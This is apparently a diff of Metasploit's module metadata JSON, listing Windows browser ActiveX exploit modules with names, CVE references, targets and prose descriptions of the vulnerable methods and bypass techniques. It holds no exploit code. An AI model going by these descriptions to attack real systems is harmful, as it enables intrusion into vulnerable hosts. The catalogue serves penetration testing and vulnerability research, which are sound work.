@@ -149985,16 +153113,14 @@ "exploit_windows/browser/samsung_security_manager_put": { "name": "Samsung Security Manager 1.4 ActiveMQ Broker Service PUT Method Remote Code Execution", "fullname": "exploit/windows/browser/samsung_security_manager_put", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-08-05", "type": "exploit", "author": [ "mr_me " ], - "description": "This is an exploit against Samsung Security Manager that bypasses the patch in ZDI-15-156 & ZDI-16-481\n by exploiting the vulnerability against the client-side. This exploit has been tested successfully using\n IE, FireFox and Chrome by abusing a GET request XSS to bypass CORS and reach the vulnerable PUT. Finally\n a traversal is used in the PUT request to upload the code just where we want it and gain RCE as SYSTEM.", + "description": "This is an exploit against Samsung Security Manager that bypasses the patch in ZDI-15-156 & ZDI-16-481\n by exploiting the vulnerability against the client-side. This exploit has been tested successfully using\n IE, FireFox and Chrome by abusing a GET request XSS to bypass CORS and reach the vulnerable PUT. Finally\n a traversal is used in the PUT request to upload the code just where we want it and gain RCE as SYSTEM.", "references": [ "URL-http://www.zerodayinitiative.com/advisories/ZDI-15-156/", "URL-http://www.zerodayinitiative.com/advisories/ZDI-16-481/" @@ -150002,16 +153128,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Samsung Security Manager 1.32 & 1.4 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/samsung_security_manager_put.rb", "is_install_path": true, "ref_name": "windows/browser/samsung_security_manager_put", @@ -150019,6 +153141,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -150026,16 +153157,14 @@ "exploit_windows/browser/sapgui_saveviewtosessionfile": { "name": "SAP AG SAPgui EAI WebViewer3D Buffer Overflow", "fullname": "exploit/windows/browser/sapgui_saveviewtosessionfile", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-03-31", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Siemens Unigraphics Solutions\n Teamcenter Visualization EAI WebViewer3D ActiveX control that is bundled\n with SAPgui. When passing an overly long string the SaveViewToSessionFile()\n method, arbitrary code may be executed.", + "description": "This module exploits a stack buffer overflow in Siemens Unigraphics Solutions\n Teamcenter Visualization EAI WebViewer3D ActiveX control that is bundled\n with SAPgui. When passing an overly long string the SaveViewToSessionFile()\n method, arbitrary code may be executed.", "references": [ "CVE-2007-4475", "OSVDB-53066", @@ -150044,16 +153173,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/sapgui_saveviewtosessionfile.rb", "is_install_path": true, "ref_name": "windows/browser/sapgui_saveviewtosessionfile", @@ -150061,6 +153186,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -150068,9 +153202,7 @@ "exploit_windows/browser/siemens_solid_edge_selistctrlx": { "name": "Siemens Solid Edge ST4 SEListCtrlX ActiveX Remote Code Execution", "fullname": "exploit/windows/browser/siemens_solid_edge_selistctrlx", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-05-26", "type": "exploit", @@ -150078,7 +153210,7 @@ "rgod ", "juan vazquez " ], - "description": "This module exploits the SEListCtrlX ActiveX installed with the Siemens Solid Edge product.\n The vulnerability exists on several APIs provided by the control, where user supplied input\n is handled as a memory pointer without proper validation, allowing an attacker to read and\n corrupt memory from the target process. This module abuses the methods NumChildren() and\n DeleteItem() in order to achieve memory info leak and remote code execution respectively.\n This module has been tested successfully on IE6-IE9 on Windows XP SP3 and Windows 7 SP1,\n using Solid Edge 10.4.", + "description": "This module exploits the SEListCtrlX ActiveX installed with the Siemens Solid Edge product.\n The vulnerability exists on several APIs provided by the control, where user supplied input\n is handled as a memory pointer without proper validation, allowing an attacker to read and\n corrupt memory from the target process. This module abuses the methods NumChildren() and\n DeleteItem() in order to achieve memory info leak and remote code execution respectively.\n This module has been tested successfully on IE6-IE9 on Windows XP SP3 and Windows 7 SP1,\n using Solid Edge 10.4.", "references": [ "OSVDB-93696", "EDB-25712" @@ -150086,12 +153218,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -150102,7 +153230,7 @@ "IE 8 on Windows 7", "IE 9 on Windows 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb", "is_install_path": true, "ref_name": "windows/browser/siemens_solid_edge_selistctrlx", @@ -150110,6 +153238,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -150117,16 +153254,14 @@ "exploit_windows/browser/softartisans_getdrivename": { "name": "SoftArtisans XFile FileManager ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/softartisans_getdrivename", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-08-25", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in SoftArtisans XFile FileManager ActiveX control\n (SAFmgPwd.dll 2.0.5.3). When sending an overly long string to the GetDriveName() method\n an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in SoftArtisans XFile FileManager ActiveX control\n (SAFmgPwd.dll 2.0.5.3). When sending an overly long string to the GetDriveName() method\n an attacker may be able to execute arbitrary code.", "references": [ "CVE-2007-1682", "OSVDB-47794", @@ -150136,16 +153271,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/softartisans_getdrivename.rb", "is_install_path": true, "ref_name": "windows/browser/softartisans_getdrivename", @@ -150153,6 +153284,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -150160,16 +153300,14 @@ "exploit_windows/browser/sonicwall_addrouteentry": { "name": "SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/sonicwall_addrouteentry", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-11-01", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in SonicWall SSL-VPN NetExtender.\n By sending an overly long string to the \"AddRouteEntry()\" method located\n in the NELaunchX.dll (1.0.0.26) Control, an attacker may be able to execute\n arbitrary code.", + "description": "This module exploits a stack buffer overflow in SonicWall SSL-VPN NetExtender.\n By sending an overly long string to the \"AddRouteEntry()\" method located\n in the NELaunchX.dll (1.0.0.26) Control, an attacker may be able to execute\n arbitrary code.", "references": [ "CVE-2007-5603", "OSVDB-39069", @@ -150178,16 +153316,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IE 6 / Windows XP SP2 Pro English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/sonicwall_addrouteentry.rb", "is_install_path": true, "ref_name": "windows/browser/sonicwall_addrouteentry", @@ -150195,6 +153329,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -150202,16 +153345,14 @@ "exploit_windows/browser/symantec_altirisdeployment_downloadandinstall": { "name": "Symantec Altiris Deployment Solution ActiveX Control Arbitrary File Download and Execute", "fullname": "exploit/windows/browser/symantec_altirisdeployment_downloadandinstall", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-09-09", "type": "exploit", "author": [ "MC " ], - "description": "This module allows remote attackers to install and execute arbitrary files on a users file system via\n AeXNSPkgDLLib.dll (6.0.0.1418). This module was tested against Symantec Altiris Deployment Solution 6.9 sp3.", + "description": "This module allows remote attackers to install and execute arbitrary files on a users file system via\n AeXNSPkgDLLib.dll (6.0.0.1418). This module was tested against Symantec Altiris Deployment Solution 6.9 sp3.", "references": [ "BID-36346", "CVE-2009-3028", @@ -150220,16 +153361,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/symantec_altirisdeployment_downloadandinstall.rb", "is_install_path": true, "ref_name": "windows/browser/symantec_altirisdeployment_downloadandinstall", @@ -150237,6 +153374,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -150244,16 +153390,14 @@ "exploit_windows/browser/symantec_altirisdeployment_runcmd": { "name": "Symantec Altiris Deployment Solution ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/symantec_altirisdeployment_runcmd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-11-04", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Symantec Altiris Deployment Solution.\n When sending an overly long string to RunCmd() method of\n AeXNSConsoleUtilities.dll (6.0.0.1426) an attacker may be able to execute arbitrary\n code.", + "description": "This module exploits a stack buffer overflow in Symantec Altiris Deployment Solution.\n When sending an overly long string to RunCmd() method of\n AeXNSConsoleUtilities.dll (6.0.0.1426) an attacker may be able to execute arbitrary\n code.", "references": [ "CVE-2009-3033", "BID-37092", @@ -150262,16 +153406,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/symantec_altirisdeployment_runcmd.rb", "is_install_path": true, "ref_name": "windows/browser/symantec_altirisdeployment_runcmd", @@ -150279,6 +153419,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -150286,16 +153435,14 @@ "exploit_windows/browser/symantec_appstream_unsafe": { "name": "Symantec AppStream LaunchObj ActiveX Control Arbitrary File Download and Execute", "fullname": "exploit/windows/browser/symantec_appstream_unsafe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-01-15", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a vulnerability in Symantec AppStream Client 5.x. The vulnerability\n is in the LaunchObj ActiveX control (launcher.dll 5.1.0.82) containing the \"installAppMgr()\"\n method. The insecure method can be exploited to download and execute arbitrary files in the\n context of the currently logged-on user.", + "description": "This module exploits a vulnerability in Symantec AppStream Client 5.x. The vulnerability\n is in the LaunchObj ActiveX control (launcher.dll 5.1.0.82) containing the \"installAppMgr()\"\n method. The insecure method can be exploited to download and execute arbitrary files in the\n context of the currently logged-on user.", "references": [ "CVE-2008-4388", "OSVDB-51410" @@ -150303,16 +153450,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/symantec_appstream_unsafe.rb", "is_install_path": true, "ref_name": "windows/browser/symantec_appstream_unsafe", @@ -150320,6 +153463,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -150327,16 +153479,14 @@ "exploit_windows/browser/symantec_backupexec_pvcalendar": { "name": "Symantec BackupExec Calendar Control Buffer Overflow", "fullname": "exploit/windows/browser/symantec_backupexec_pvcalendar", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-02-28", "type": "exploit", "author": [ "Elazar Broad " ], - "description": "This module exploits a stack buffer overflow in Symantec BackupExec Calendar Control.\n By sending an overly long string to the \"_DOWText0\" property located\n in the pvcalendar.ocx control, an attacker may be able to execute\n arbitrary code.", + "description": "This module exploits a stack buffer overflow in Symantec BackupExec Calendar Control.\n By sending an overly long string to the \"_DOWText0\" property located\n in the pvcalendar.ocx control, an attacker may be able to execute\n arbitrary code.", "references": [ "CVE-2007-6016", "OSVDB-42358", @@ -150346,16 +153496,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/symantec_backupexec_pvcalendar.rb", "is_install_path": true, "ref_name": "windows/browser/symantec_backupexec_pvcalendar", @@ -150363,6 +153509,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -150370,16 +153525,14 @@ "exploit_windows/browser/symantec_consoleutilities_browseandsavefile": { "name": "Symantec ConsoleUtilities ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/symantec_consoleutilities_browseandsavefile", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-11-02", "type": "exploit", "author": [ "Nikolas Sotiriu (lofi)" ], - "description": "This module exploits a stack buffer overflow in Symantecs ConsoleUtilities.\n By sending an overly long string to the \"BrowseAndSaveFile()\" method located\n in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to\n execute arbitrary code", + "description": "This module exploits a stack buffer overflow in Symantecs ConsoleUtilities.\n By sending an overly long string to the \"BrowseAndSaveFile()\" method located\n in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to\n execute arbitrary code", "references": [ "CVE-2009-3031", "OSVDB-59597", @@ -150390,19 +153543,15 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 English", "Windows XP SP2 Universal", "Windows XP SP2 Pro German", "Windows XP SP3 Pro German" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/symantec_consoleutilities_browseandsavefile.rb", "is_install_path": true, "ref_name": "windows/browser/symantec_consoleutilities_browseandsavefile", @@ -150410,6 +153559,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -150417,9 +153575,7 @@ "exploit_windows/browser/synactis_connecttosynactis_bof": { "name": "Synactis PDF In-The-Box ConnectToSynactic Stack Buffer Overflow", "fullname": "exploit/windows/browser/synactis_connecttosynactis_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-05-30", "type": "exploit", @@ -150427,7 +153583,7 @@ "h1ch4m", "sinn3r " ], - "description": "This module exploits a vulnerability found in Synactis' PDF In-The-Box ActiveX\n component, specifically PDF_IN_1.ocx. When a long string of data is given\n to the ConnectToSynactis function, which is meant to be used for the ldCmdLine\n argument of a WinExec call, a strcpy routine can end up overwriting a TRegistry\n class pointer saved on the stack, resulting in arbitrary code execution under the\n context of the user.\n\n Also note that since the WinExec function is used to call the default browser,\n you must be aware that: 1) The default must be Internet Explorer, and 2) when the\n exploit runs, another browser will pop up.\n\n Synactis PDF In-The-Box is also used by other software such as Logic Print 2013,\n which is how the vulnerability was found and publicly disclosed.", + "description": "This module exploits a vulnerability found in Synactis' PDF In-The-Box ActiveX\n component, specifically PDF_IN_1.ocx. When a long string of data is given\n to the ConnectToSynactis function, which is meant to be used for the ldCmdLine\n argument of a WinExec call, a strcpy routine can end up overwriting a TRegistry\n class pointer saved on the stack, resulting in arbitrary code execution under the\n context of the user.\n\n Also note that since the WinExec function is used to call the default browser,\n you must be aware that: 1) The default must be Internet Explorer, and 2) when the\n exploit runs, another browser will pop up.\n\n Synactis PDF In-The-Box is also used by other software such as Logic Print 2013,\n which is how the vulnerability was found and publicly disclosed.", "references": [ "OSVDB-93754", "EDB-25835" @@ -150435,18 +153591,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 7 on Windows XP SP3", "IE 8 on Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb", "is_install_path": true, "ref_name": "windows/browser/synactis_connecttosynactis_bof", @@ -150454,6 +153606,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -150461,16 +153622,14 @@ "exploit_windows/browser/systemrequirementslab_unsafe": { "name": "Husdawg, LLC. System Requirements Lab ActiveX Unsafe Method", "fullname": "exploit/windows/browser/systemrequirementslab_unsafe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2008-10-16", "type": "exploit", "author": [ "MC " ], - "description": "This module allows attackers to execute code via an unsafe method in\n Husdawg, LLC. System Requirements Lab ActiveX Control (sysreqlab2.dll 2.30.0.0)", + "description": "This module allows attackers to execute code via an unsafe method in\n Husdawg, LLC. System Requirements Lab ActiveX Control (sysreqlab2.dll 2.30.0.0)", "references": [ "CVE-2008-4385", "OSVDB-50122", @@ -150479,16 +153638,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/systemrequirementslab_unsafe.rb", "is_install_path": true, "ref_name": "windows/browser/systemrequirementslab_unsafe", @@ -150496,6 +153651,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -150503,9 +153667,7 @@ "exploit_windows/browser/teechart_pro": { "name": "TeeChart Professional ActiveX Control Trusted Integer Dereference", "fullname": "exploit/windows/browser/teechart_pro", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-08-11", "type": "exploit", @@ -150513,7 +153675,7 @@ "mr_me ", "sinn3r " ], - "description": "This module exploits an integer overflow in TeeChart Pro ActiveX control. When\n sending an overly large/negative integer value to the AddSeries() property of\n TeeChart2010.ocx, the code will perform an arithmetic operation that wraps the\n value and is later directly trusted and called upon.\n\n This module has been designed to bypass DEP only under IE8 with Java support. Multiple\n versions (including the latest version) are affected by this vulnerability that date\n back to as far as 2001.\n\n The following controls are vulnerable:\n\n TeeChart5.ocx Version 5.0.1.0 (clsid: B6C10489-FB89-11D4-93C9-006008A7EED4);\n TeeChart6.ocx Version 6.0.0.5 (clsid: 536600D3-70FE-4C50-92FB-640F6BFC49AD);\n TeeChart7.ocx Version 7.0.1.4 (clsid: FAB9B41C-87D6-474D-AB7E-F07D78F2422E);\n TeeChart8.ocx Version 8.0.0.8 (clsid: BDEB0088-66F9-4A55-ABD2-0BF8DEEC1196);\n TeeChart2010.ocx Version 2010.0.0.3 (clsid: FCB4B50A-E3F1-4174-BD18-54C3B3287258).\n\n The controls are deployed under several SCADA based systems including:\n\n Unitronics OPC server v1.3;\n BACnet Operator Workstation Version 1.0.76", + "description": "This module exploits an integer overflow in TeeChart Pro ActiveX control. When\n sending an overly large/negative integer value to the AddSeries() property of\n TeeChart2010.ocx, the code will perform an arithmetic operation that wraps the\n value and is later directly trusted and called upon.\n\n This module has been designed to bypass DEP only under IE8 with Java support. Multiple\n versions (including the latest version) are affected by this vulnerability that date\n back to as far as 2001.\n\n The following controls are vulnerable:\n\n TeeChart5.ocx Version 5.0.1.0 (clsid: B6C10489-FB89-11D4-93C9-006008A7EED4);\n TeeChart6.ocx Version 6.0.0.5 (clsid: 536600D3-70FE-4C50-92FB-640F6BFC49AD);\n TeeChart7.ocx Version 7.0.1.4 (clsid: FAB9B41C-87D6-474D-AB7E-F07D78F2422E);\n TeeChart8.ocx Version 8.0.0.8 (clsid: BDEB0088-66F9-4A55-ABD2-0BF8DEEC1196);\n TeeChart2010.ocx Version 2010.0.0.3 (clsid: FCB4B50A-E3F1-4174-BD18-54C3B3287258).\n\n The controls are deployed under several SCADA based systems including:\n\n Unitronics OPC server v1.3;\n BACnet Operator Workstation Version 1.0.76", "references": [ "OSVDB-74446", "URL-http://www.stratsec.net/Research/Advisories/TeeChart-Professional-Integer-Overflow" @@ -150521,19 +153683,15 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP SP0-SP3 (IE6/IE7)", "Windows XP SP0-SP3 + JAVA + DEP bypass (IE8)", "Windows 7 + JAVA + DEP bypass (IE8)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/teechart_pro.rb", "is_install_path": true, "ref_name": "windows/browser/teechart_pro", @@ -150541,6 +153699,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -150548,9 +153715,7 @@ "exploit_windows/browser/tom_sawyer_tsgetx71ex552": { "name": "Tom Sawyer Software GET Extension Factory Remote Code Execution", "fullname": "exploit/windows/browser/tom_sawyer_tsgetx71ex552", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-05-03", "type": "exploit", @@ -150559,7 +153724,7 @@ "rgod", "juan vazquez " ], - "description": "This module exploits a remote code execution vulnerability in the tsgetx71ex553.dll\n ActiveX control installed with Tom Sawyer GET Extension Factory due to an incorrect\n initialization under Internet Explorer.\n\n While the Tom Sawyer GET Extension Factory is installed with some versions of VMware\n Infrastructure Client, this module has been tested only with the versions installed\n with Embarcadero Technologies ER/Studio XE2 / Embarcadero Studio Portal 1.6. The ActiveX\n control tested is tsgetx71ex553.dll, version 5.5.3.238.\n\n This module achieves DEP and ASLR bypass using the well known msvcr71.dll rop chain. The\n dll is installed by default with the Embarcadero software, and loaded by the targeted\n ActiveX.", + "description": "This module exploits a remote code execution vulnerability in the tsgetx71ex553.dll\n ActiveX control installed with Tom Sawyer GET Extension Factory due to an incorrect\n initialization under Internet Explorer.\n\n While the Tom Sawyer GET Extension Factory is installed with some versions of VMware\n Infrastructure Client, this module has been tested only with the versions installed\n with Embarcadero Technologies ER/Studio XE2 / Embarcadero Studio Portal 1.6. The ActiveX\n control tested is tsgetx71ex553.dll, version 5.5.3.238.\n\n This module achieves DEP and ASLR bypass using the well known msvcr71.dll rop chain. The\n dll is installed by default with the Embarcadero software, and loaded by the targeted\n ActiveX.", "references": [ "CVE-2011-2217", "OSVDB-73211", @@ -150569,12 +153734,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -150582,7 +153743,7 @@ "IE 8 on Windows XP SP3", "IE 8 on Windows 7 SP1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb", "is_install_path": true, "ref_name": "windows/browser/tom_sawyer_tsgetx71ex552", @@ -150590,6 +153751,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -150597,16 +153767,14 @@ "exploit_windows/browser/trendmicro_extsetowner": { "name": "Trend Micro Internet Security Pro 2010 ActiveX extSetOwner() Remote Code Execution", "fullname": "exploit/windows/browser/trendmicro_extsetowner", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-08-25", "type": "exploit", "author": [ "Trancer " ], - "description": "This module exploits a remote code execution vulnerability in Trend Micro\n Internet Security Pro 2010 ActiveX.\n When sending an invalid pointer to the extSetOwner() function of UfPBCtrl.dll\n an attacker may be able to execute arbitrary code.", + "description": "This module exploits a remote code execution vulnerability in Trend Micro\n Internet Security Pro 2010 ActiveX.\n When sending an invalid pointer to the extSetOwner() function of UfPBCtrl.dll\n an attacker may be able to execute arbitrary code.", "references": [ "CVE-2010-3189", "OSVDB-67561", @@ -150616,16 +153784,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/trendmicro_extsetowner.rb", "is_install_path": true, "ref_name": "windows/browser/trendmicro_extsetowner", @@ -150633,6 +153797,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -150640,16 +153813,14 @@ "exploit_windows/browser/trendmicro_officescan": { "name": "Trend Micro OfficeScan Client ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/trendmicro_officescan", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-02-12", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Trend Micro OfficeScan\n Corporate Edition 7.3. By sending an overly long string to the\n \"CgiOnUpdate()\" method located in the OfficeScanSetupINI.dll Control,\n an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in Trend Micro OfficeScan\n Corporate Edition 7.3. By sending an overly long string to the\n \"CgiOnUpdate()\" method located in the OfficeScanSetupINI.dll Control,\n an attacker may be able to execute arbitrary code.", "references": [ "CVE-2007-0325", "OSVDB-33040", @@ -150658,16 +153829,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2 Pro English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/trendmicro_officescan.rb", "is_install_path": true, "ref_name": "windows/browser/trendmicro_officescan", @@ -150675,6 +153842,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -150682,16 +153858,14 @@ "exploit_windows/browser/tumbleweed_filetransfer": { "name": "Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/tumbleweed_filetransfer", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2008-04-07", "type": "exploit", "author": [ "aushack " ], - "description": "This module exploits a stack buffer overflow in the vcst_eu.dll\n FileTransfer Module (1.0.0.5) 